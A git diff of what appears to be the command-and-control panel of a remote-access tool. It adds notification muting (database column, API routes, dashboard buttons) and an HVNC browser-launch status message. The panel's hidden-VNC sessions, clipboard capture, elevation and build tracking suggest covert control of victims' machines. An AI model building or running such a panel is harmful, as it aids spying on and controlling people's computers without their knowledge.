{ label: "Elevate (macOS)", icon: "fa-solid fa-arrow-up-right-dots", icolor: "text-green-400", action: "elevate" },
|
||||||
{ divider: true },
|
{ divider: true },
|
||||||
@@ -371,6 +372,19 @@ export function openMenu(clientId, x, y, setContext, options = {}) {
|
|||||||
removeBtn.style.display = options.isOnline === true ? "none" : "";
|
removeBtn.style.display = options.isOnline === true ? "none" : "";
|
||||||
}
|
}
|
||||||
|
|
||||||
|
const muteBtn = menu.querySelector('[data-action="toggle-mute"]');
|
||||||
|
if (muteBtn) {
|
||||||
|
const icon = muteBtn.querySelector("i");
|
||||||
|
const label = muteBtn.querySelector("span");
|
||||||
|
if (options.notificationsMuted) {
|
||||||
|
if (label) label.textContent = "Unmute Notifications";
|
||||||
|
if (icon) icon.className = "fa-solid fa-bell ctx-icon text-emerald-300";
|
||||||
|
} else {
|
||||||
|
if (label) label.textContent = "Mute Notifications";
|
||||||
|
if (icon) icon.className = "fa-solid fa-bell-slash ctx-icon text-amber-300";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// Reset submenu state
|
// Reset submenu state
|
||||||
hideSubmenu();
|
hideSubmenu();
|
||||||
|
|
||||||
|
|||||||
@@ -104,6 +104,13 @@
|
|||||||
<i id="dxgiStatusIcon" class="fa-solid fa-microchip text-emerald-400"></i>
|
<i id="dxgiStatusIcon" class="fa-solid fa-microchip text-emerald-400"></i>
|
||||||
<span id="dxgiStatusLabel">DXGI</span>
|
<span id="dxgiStatusLabel">DXGI</span>
|
||||||
</div>
|
</div>
|
||||||
|
<div
|
||||||
|
id="launchStatus"
|
||||||
|
class="hidden items-center gap-2 bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 text-sm"
|
||||||
|
>
|
||||||
|
<i id="launchStatusIcon" class="fa-solid fa-rocket text-sky-400"></i>
|
||||||
|
<span id="launchStatusLabel" class="text-slate-300">Launching...</span>
|
||||||
|
</div>
|
||||||
<div
|
<div
|
||||||
class="flex items-center gap-2 bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 text-sm text-slate-300"
|
class="flex items-center gap-2 bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 text-sm text-slate-300"
|
||||||
>
|
>
|
||||||
|
|||||||
@@ -182,6 +182,18 @@
|
|||||||
>
|
>
|
||||||
<i class="fa-solid fa-layer-group"></i> Set Group
|
<i class="fa-solid fa-layer-group"></i> Set Group
|
||||||
</button>
|
</button>
|
||||||
|
<button
|
||||||
|
id="bulk-mute"
|
||||||
|
class="px-3 py-2 rounded-lg bg-slate-800/70 hover:bg-slate-700/70 text-amber-300 border border-amber-900/40 transition-colors"
|
||||||
|
>
|
||||||
|
<i class="fa-solid fa-bell-slash"></i> Mute Notifications
|
||||||
|
</button>
|
||||||
|
<button
|
||||||
|
id="bulk-unmute"
|
||||||
|
class="px-3 py-2 rounded-lg bg-slate-800/70 hover:bg-slate-700/70 text-emerald-300 border border-emerald-900/40 transition-colors"
|
||||||
|
>
|
||||||
|
<i class="fa-solid fa-bell"></i> Unmute Notifications
|
||||||
|
</button>
|
||||||
<button
|
<button
|
||||||
id="bulk-clear"
|
id="bulk-clear"
|
||||||
class="px-3 py-2 rounded-lg bg-slate-800/70 hover:bg-slate-700/70 text-slate-400 border border-slate-600/60 transition-colors"
|
class="px-3 py-2 rounded-lg bg-slate-800/70 hover:bg-slate-700/70 text-slate-400 border border-slate-600/60 transition-colors"
|
||||||
|
|||||||
@@ -130,6 +130,9 @@ try {
|
|||||||
try {
|
try {
|
||||||
db.run(`ALTER TABLE clients ADD COLUMN permissions TEXT`);
|
db.run(`ALTER TABLE clients ADD COLUMN permissions TEXT`);
|
||||||
} catch {}
|
} catch {}
|
||||||
|
try {
|
||||||
|
db.run(`ALTER TABLE clients ADD COLUMN notifications_muted INTEGER NOT NULL DEFAULT 0`);
|
||||||
|
} catch {}
|
||||||
|
|
||||||
db.run(`
|
db.run(`
|
||||||
CREATE TABLE IF NOT EXISTS client_groups (
|
CREATE TABLE IF NOT EXISTS client_groups (
|
||||||
@@ -1138,7 +1141,7 @@ export function listClients(filters: ListFilters): ListResult {
|
|||||||
|
|
||||||
const rows = db
|
const rows = db
|
||||||
.query<any>(
|
.query<any>(
|
||||||
`SELECT c.id, c.hwid, c.role, c.ip, c.host, c.os, c.arch, c.version, c.user, c.nickname, c.custom_tag as customTag, c.custom_tag_note as customTagNote, c.monitors, c.country, c.last_seen as lastSeen, c.online, c.ping_ms as pingMs, c.bookmarked, c.build_tag as buildTag, c.built_by_user_id as builtByUserId, c.enrollment_status as enrollmentStatus, c.public_key as publicKey, c.key_fingerprint as keyFingerprint, c.cpu, c.gpu, c.ram, c.is_admin as isAdmin, c.elevation, c.permissions, c.disconnect_reason as disconnectReason, c.disconnect_detail as disconnectDetail, c.group_id as groupId, g.name as groupName, g.color as groupColor
|
`SELECT c.id, c.hwid, c.role, c.ip, c.host, c.os, c.arch, c.version, c.user, c.nickname, c.custom_tag as customTag, c.custom_tag_note as customTagNote, c.monitors, c.country, c.last_seen as lastSeen, c.online, c.ping_ms as pingMs, c.bookmarked, c.build_tag as buildTag, c.built_by_user_id as builtByUserId, c.enrollment_status as enrollmentStatus, c.public_key as publicKey, c.key_fingerprint as keyFingerprint, c.cpu, c.gpu, c.ram, c.is_admin as isAdmin, c.elevation, c.permissions, c.disconnect_reason as disconnectReason, c.disconnect_detail as disconnectDetail, c.group_id as groupId, g.name as groupName, g.color as groupColor, c.notifications_muted as notificationsMuted
|
||||||
FROM clients c
|
FROM clients c
|
||||||
LEFT JOIN client_groups g ON g.id = c.group_id
|
LEFT JOIN client_groups g ON g.id = c.group_id
|
||||||
${whereSql}
|
${whereSql}
|
||||||
@@ -1182,6 +1185,7 @@ export function listClients(filters: ListFilters): ListResult {
|
|||||||
groupId: typeof c.groupId === "number" ? c.groupId : null,
|
groupId: typeof c.groupId === "number" ? c.groupId : null,
|
||||||
groupName: c.groupName || null,
|
groupName: c.groupName || null,
|
||||||
groupColor: c.groupColor || null,
|
groupColor: c.groupColor || null,
|
||||||
|
notificationsMuted: c.notificationsMuted === 1,
|
||||||
thumbnail: getThumbnail(c.id),
|
thumbnail: getThumbnail(c.id),
|
||||||
}));
|
}));
|
||||||
|
|
||||||
@@ -1526,6 +1530,22 @@ export function getClientBookmark(id: string): boolean {
|
|||||||
return row?.bookmarked === 1;
|
return row?.bookmarked === 1;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
export function setClientNotificationsMuted(id: string, muted: boolean): boolean {
|
||||||
|
const result = db.run(
|
||||||
|
`UPDATE clients SET notifications_muted=? WHERE id=?`,
|
||||||
|
muted ? 1 : 0,
|
||||||
|
id,
|
||||||
|
);
|
||||||
|
return ((result as any)?.changes || 0) > 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
export function isClientNotificationsMuted(id: string): boolean {
|
||||||
|
const row = db.query<{ notifications_muted: number }>(
|
||||||
|
`SELECT notifications_muted FROM clients WHERE id=?`,
|
||||||
|
).get(id);
|
||||||
|
return row?.notifications_muted === 1;
|
||||||
|
}
|
||||||
|
|
||||||
export interface BuildProfileRecord {
|
export interface BuildProfileRecord {
|
||||||
userId: number;
|
userId: number;
|
||||||
name: string;
|
name: string;
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ import { fileURLToPath } from "url";
|
|||||||
import path from "path";
|
import path from "path";
|
||||||
import fs from "fs/promises";
|
import fs from "fs/promises";
|
||||||
import { existsSync } from "node:fs";
|
import { existsSync } from "node:fs";
|
||||||
import { upsertClientRow, setOnlineState, listClients, markAllClientsOffline, getBuild, getAllBuilds, deleteExpiredBuilds, deleteBuild, getNotificationScreenshot, deleteClientRow, getClientIp, banIp, isIpBanned, clientExists, deleteExpiredSharedFiles, getChatHistory, insertChatMessage, getOnlineClientCountForUser, deleteExpiredChatMessages, recordBuildClaim, getClientMetricsSummary, pruneOldNotifications } from "./db";
|
import { upsertClientRow, setOnlineState, listClients, markAllClientsOffline, getBuild, getAllBuilds, deleteExpiredBuilds, deleteBuild, getNotificationScreenshot, deleteClientRow, getClientIp, banIp, isIpBanned, clientExists, deleteExpiredSharedFiles, getChatHistory, insertChatMessage, getOnlineClientCountForUser, deleteExpiredChatMessages, recordBuildClaim, getClientMetricsSummary, pruneOldNotifications, isClientNotificationsMuted } from "./db";
|
||||||
import { handleFrame, handleHello, handlePing, handlePong } from "./wsHandlers";
|
import { handleFrame, handleHello, handlePing, handlePong } from "./wsHandlers";
|
||||||
import { getMessageByteLength, getMaxPayloadLimit, isAllowedClientMessageType } from "./wsValidation";
|
import { getMessageByteLength, getMaxPayloadLimit, isAllowedClientMessageType } from "./wsValidation";
|
||||||
import { ClientInfo, ClientRole } from "./types";
|
import { ClientInfo, ClientRole } from "./types";
|
||||||
@@ -95,6 +95,7 @@ import {
|
|||||||
handleHVNCBrowserCheckResult,
|
handleHVNCBrowserCheckResult,
|
||||||
handleHVNCInstalledAppsResult,
|
handleHVNCInstalledAppsResult,
|
||||||
handleHVNCDXGIStatus,
|
handleHVNCDXGIStatus,
|
||||||
|
handleHVNCBrowserLaunchStatus,
|
||||||
handleClipboardContent,
|
handleClipboardContent,
|
||||||
handleWebrtcP2PAnswer,
|
handleWebrtcP2PAnswer,
|
||||||
handleWebrtcP2PIce,
|
handleWebrtcP2PIce,
|
||||||
@@ -339,6 +340,7 @@ const notificationPluginHandlers = createNotificationPluginHandlers({
|
|||||||
getNotificationConfig,
|
getNotificationConfig,
|
||||||
canUserAccessClient: canUserAccessClient as (userId: number, userRole: string, clientId: string) => boolean,
|
canUserAccessClient: canUserAccessClient as (userId: number, userRole: string, clientId: string) => boolean,
|
||||||
getUserRole: (userId: number) => getUserById(userId)?.role,
|
getUserRole: (userId: number) => getUserById(userId)?.role,
|
||||||
|
isClientNotificationsMuted,
|
||||||
storeNotificationScreenshot: storeNotificationScreenshotForPending,
|
storeNotificationScreenshot: storeNotificationScreenshotForPending,
|
||||||
deliverNotificationWithScreenshot: deliverNotificationWithScreenshotForRecord,
|
deliverNotificationWithScreenshot: deliverNotificationWithScreenshotForRecord,
|
||||||
forwardPluginEventToRuntime: (clientId, pluginId, event, payload) =>
|
forwardPluginEventToRuntime: (clientId, pluginId, event, payload) =>
|
||||||
@@ -677,6 +679,7 @@ async function startServer() {
|
|||||||
handleHVNCBrowserCheckResult,
|
handleHVNCBrowserCheckResult,
|
||||||
handleHVNCInstalledAppsResult,
|
handleHVNCInstalledAppsResult,
|
||||||
handleHVNCDXGIStatus,
|
handleHVNCDXGIStatus,
|
||||||
|
handleHVNCBrowserLaunchStatus,
|
||||||
handleClipboardContent,
|
handleClipboardContent,
|
||||||
handleWebrtcP2PAnswer,
|
handleWebrtcP2PAnswer,
|
||||||
handleWebrtcP2PIce,
|
handleWebrtcP2PIce,
|
||||||
|
|||||||
@@ -15,6 +15,7 @@ import {
|
|||||||
listDistinctCountries,
|
listDistinctCountries,
|
||||||
setClientBookmark,
|
setClientBookmark,
|
||||||
setClientNickname,
|
setClientNickname,
|
||||||
|
setClientNotificationsMuted,
|
||||||
setClientTag,
|
setClientTag,
|
||||||
setOnlineState,
|
setOnlineState,
|
||||||
unbanIp,
|
unbanIp,
|
||||||
@@ -472,6 +473,83 @@ export async function handleClientRoutes(
|
|||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (req.method === "PATCH" && url.pathname === "/api/clients/bulk-notifications-muted") {
|
||||||
|
const user = await authenticateRequest(req);
|
||||||
|
if (!user) return new Response("Unauthorized", { status: 401 });
|
||||||
|
try { requirePermission(user, "clients:control"); } catch (error) {
|
||||||
|
if (error instanceof Response) return error;
|
||||||
|
return new Response("Forbidden", { status: 403 });
|
||||||
|
}
|
||||||
|
|
||||||
|
let body: any = {};
|
||||||
|
try { body = await req.json(); } catch {
|
||||||
|
return Response.json({ error: "Invalid JSON body" }, { status: 400 });
|
||||||
|
}
|
||||||
|
|
||||||
|
const clientIds = body?.clientIds;
|
||||||
|
if (!Array.isArray(clientIds) || clientIds.length === 0 || clientIds.some((id: any) => typeof id !== "string")) {
|
||||||
|
return Response.json({ error: "clientIds must be a non-empty array of strings" }, { status: 400 });
|
||||||
|
}
|
||||||
|
if (clientIds.length > 500) {
|
||||||
|
return Response.json({ error: "Too many clients (max 500)" }, { status: 400 });
|
||||||
|
}
|
||||||
|
const muted = !!body?.muted;
|
||||||
|
|
||||||
|
let updated = 0;
|
||||||
|
for (const cid of clientIds) {
|
||||||
|
if (!canUserAccessClient(user.userId, user.role, cid)) continue;
|
||||||
|
if (setClientNotificationsMuted(cid, muted)) updated++;
|
||||||
|
}
|
||||||
|
|
||||||
|
notifyDashboardViewers();
|
||||||
|
const ip = server.requestIP(req)?.address || "unknown";
|
||||||
|
logAudit({ timestamp: Date.now(), username: user.username, ip, action: AuditAction.COMMAND, details: `bulk_set_notifications_muted:${muted}:${updated}/${clientIds.length}`, success: true });
|
||||||
|
return Response.json({ ok: true, updated, total: clientIds.length, muted }, { headers: deps.CORS_HEADERS });
|
||||||
|
}
|
||||||
|
|
||||||
|
const muteMatch = url.pathname.match(/^\/api\/clients\/([^/]+)\/notifications-muted$/);
|
||||||
|
if (req.method === "PATCH" && muteMatch) {
|
||||||
|
const user = await authenticateRequest(req);
|
||||||
|
if (!user) return new Response("Unauthorized", { status: 401 });
|
||||||
|
try { requirePermission(user, "clients:control"); } catch (error) {
|
||||||
|
if (error instanceof Response) return error;
|
||||||
|
return new Response("Forbidden", { status: 403 });
|
||||||
|
}
|
||||||
|
|
||||||
|
const targetId = muteMatch[1];
|
||||||
|
if (!canUserAccessClient(user.userId, user.role, targetId)) {
|
||||||
|
return new Response("Forbidden: Client access denied", { status: 403 });
|
||||||
|
}
|
||||||
|
if (!clientExists(targetId)) {
|
||||||
|
return Response.json({ error: "Client not found" }, { status: 404 });
|
||||||
|
}
|
||||||
|
|
||||||
|
let body: any = {};
|
||||||
|
try { body = await req.json(); } catch {
|
||||||
|
return Response.json({ error: "Invalid JSON body" }, { status: 400 });
|
||||||
|
}
|
||||||
|
|
||||||
|
const muted = !!body?.muted;
|
||||||
|
const updated = setClientNotificationsMuted(targetId, muted);
|
||||||
|
if (!updated) {
|
||||||
|
return Response.json({ error: "Client not found" }, { status: 404 });
|
||||||
|
}
|
||||||
|
notifyDashboardViewers();
|
||||||
|
|
||||||
|
const ip = server.requestIP(req)?.address || "unknown";
|
||||||
|
logAudit({
|
||||||
|
timestamp: Date.now(),
|
||||||
|
username: user.username,
|
||||||
|
ip,
|
||||||
|
action: AuditAction.COMMAND,
|
||||||
|
targetClientId: targetId,
|
||||||
|
details: muted ? "mute_notifications" : "unmute_notifications",
|
||||||
|
success: true,
|
||||||
|
});
|
||||||
|
|
||||||
|
return Response.json({ ok: true, muted }, { headers: deps.CORS_HEADERS });
|
||||||
|
}
|
||||||
|
|
||||||
const bookmarkMatch = url.pathname.match(/^\/api\/clients\/([^/]+)\/bookmark$/);
|
const bookmarkMatch = url.pathname.match(/^\/api\/clients\/([^/]+)\/bookmark$/);
|
||||||
if (req.method === "PATCH" && bookmarkMatch) {
|
if (req.method === "PATCH" && bookmarkMatch) {
|
||||||
const user = await authenticateRequest(req);
|
const user = await authenticateRequest(req);
|
||||||
|
|||||||
@@ -156,6 +156,7 @@ type WsLifecycleDeps = {
|
|||||||
handleHVNCBrowserCheckResult: (clientId: string, payload: any) => void;
|
handleHVNCBrowserCheckResult: (clientId: string, payload: any) => void;
|
||||||
handleHVNCInstalledAppsResult: (clientId: string, payload: any) => void;
|
handleHVNCInstalledAppsResult: (clientId: string, payload: any) => void;
|
||||||
handleHVNCDXGIStatus: (clientId: string, payload: any) => void;
|
handleHVNCDXGIStatus: (clientId: string, payload: any) => void;
|
||||||
|
handleHVNCBrowserLaunchStatus: (clientId: string, payload: any) => void;
|
||||||
handleClipboardContent: (clientId: string, payload: any) => void;
|
handleClipboardContent: (clientId: string, payload: any) => void;
|
||||||
handleWebrtcP2PAnswer: (clientId: string, payload: any) => void;
|
handleWebrtcP2PAnswer: (clientId: string, payload: any) => void;
|
||||||
handleWebrtcP2PIce: (clientId: string, payload: any) => void;
|
handleWebrtcP2PIce: (clientId: string, payload: any) => void;
|
||||||
@@ -723,6 +724,9 @@ export async function handleWebSocketMessage(
|
|||||||
case "hvnc_dxgi_status":
|
case "hvnc_dxgi_status":
|
||||||
deps.handleHVNCDXGIStatus(client.id, payload);
|
deps.handleHVNCDXGIStatus(client.id, payload);
|
||||||
break;
|
break;
|
||||||
|
case "hvnc_browser_launch_status":
|
||||||
|
deps.handleHVNCBrowserLaunchStatus(client.id, payload);
|
||||||
|
break;
|
||||||
case "clipboard_content":
|
case "clipboard_content":
|
||||||
deps.handleClipboardContent(client.id, payload);
|
deps.handleClipboardContent(client.id, payload);
|
||||||
break;
|
break;
|
||||||
|
|||||||
@@ -795,6 +795,18 @@ export function handleHVNCDXGIStatus(clientId: string, payload: any) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
export function handleHVNCBrowserLaunchStatus(clientId: string, payload: any) {
|
||||||
|
for (const session of sessionManager.getHvncSessionsForClient(clientId)) {
|
||||||
|
safeSendViewer(session.viewer, {
|
||||||
|
type: "hvnc_browser_launch_status",
|
||||||
|
browser: String(payload.browser || ""),
|
||||||
|
step: String(payload.step || ""),
|
||||||
|
success: !!payload.success,
|
||||||
|
detail: String(payload.detail || ""),
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
export function handleClipboardContent(clientId: string, payload: any) {
|
export function handleClipboardContent(clientId: string, payload: any) {
|
||||||
const text = String(payload.text || "");
|
const text = String(payload.text || "");
|
||||||
const source = String(payload.source || "");
|
const source = String(payload.source || "");
|
||||||
|
|||||||
@@ -57,6 +57,7 @@ type CreateDeps = {
|
|||||||
getNotificationConfig: () => NotificationConfigShape;
|
getNotificationConfig: () => NotificationConfigShape;
|
||||||
canUserAccessClient: (userId: number, userRole: string, clientId: string) => boolean;
|
canUserAccessClient: (userId: number, userRole: string, clientId: string) => boolean;
|
||||||
getUserRole: (userId: number) => string | undefined;
|
getUserRole: (userId: number) => string | undefined;
|
||||||
|
isClientNotificationsMuted: (clientId: string) => boolean;
|
||||||
storeNotificationScreenshot: (
|
storeNotificationScreenshot: (
|
||||||
pending: PendingNotificationScreenshot,
|
pending: PendingNotificationScreenshot,
|
||||||
bytes: Uint8Array,
|
bytes: Uint8Array,
|
||||||
@@ -284,8 +285,14 @@ export function createNotificationPluginHandlers(deps: CreateDeps) {
|
|||||||
|
|
||||||
saveNotification(record);
|
saveNotification(record);
|
||||||
|
|
||||||
|
const muted = deps.isClientNotificationsMuted(clientId);
|
||||||
|
|
||||||
requestNotificationScreenshot(info, record);
|
requestNotificationScreenshot(info, record);
|
||||||
|
|
||||||
|
if (muted) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
for (const session of sessionManager.getAllNotificationSessions().values()) {
|
for (const session of sessionManager.getAllNotificationSessions().values()) {
|
||||||
const sRole = session.userRole ?? session.viewer.data.userRole ?? "";
|
const sRole = session.userRole ?? session.viewer.data.userRole ?? "";
|
||||||
const sUserId = session.userId ?? session.viewer.data.userId;
|
const sUserId = session.userId ?? session.viewer.data.userId;
|
||||||
@@ -359,6 +366,9 @@ export function createNotificationPluginHandlers(deps: CreateDeps) {
|
|||||||
event: "client_online" | "client_offline" | "client_purgatory",
|
event: "client_online" | "client_offline" | "client_purgatory",
|
||||||
info: { id: string; host?: string; user?: string; os?: string; ip?: string; country?: string },
|
info: { id: string; host?: string; user?: string; os?: string; ip?: string; country?: string },
|
||||||
) {
|
) {
|
||||||
|
if (deps.isClientNotificationsMuted(info.id)) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
const item = { type: "client_event", event, clientId: info.id, host: info.host, user: info.user, os: info.os, ip: info.ip, country: info.country, ts: Date.now() };
|
const item = { type: "client_event", event, clientId: info.id, host: info.host, user: info.user, os: info.os, ip: info.ip, country: info.country, ts: Date.now() };
|
||||||
for (const session of sessionManager.getAllNotificationSessions().values()) {
|
for (const session of sessionManager.getAllNotificationSessions().values()) {
|
||||||
const sRole = session.userRole ?? session.viewer.data.userRole ?? "";
|
const sRole = session.userRole ?? session.viewer.data.userRole ?? "";
|
||||||
|
|||||||
@@ -50,6 +50,7 @@ export type ClientInfo = {
|
|||||||
groupId?: number | null;
|
groupId?: number | null;
|
||||||
groupName?: string | null;
|
groupName?: string | null;
|
||||||
groupColor?: string | null;
|
groupColor?: string | null;
|
||||||
|
notificationsMuted?: boolean;
|
||||||
};
|
};
|
||||||
|
|
||||||
export type ListFilters = {
|
export type ListFilters = {
|
||||||
|
|||||||
@@ -33,6 +33,7 @@ export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([
|
|||||||
"hvnc_browser_check_result",
|
"hvnc_browser_check_result",
|
||||||
"hvnc_installed_apps_result",
|
"hvnc_installed_apps_result",
|
||||||
"hvnc_dxgi_status",
|
"hvnc_dxgi_status",
|
||||||
|
"hvnc_browser_launch_status",
|
||||||
"clipboard_content",
|
"clipboard_content",
|
||||||
"proxy_data",
|
"proxy_data",
|
||||||
"proxy_close",
|
"proxy_close",
|
||||||
|
|||||||
Reference in New Issue
Block a user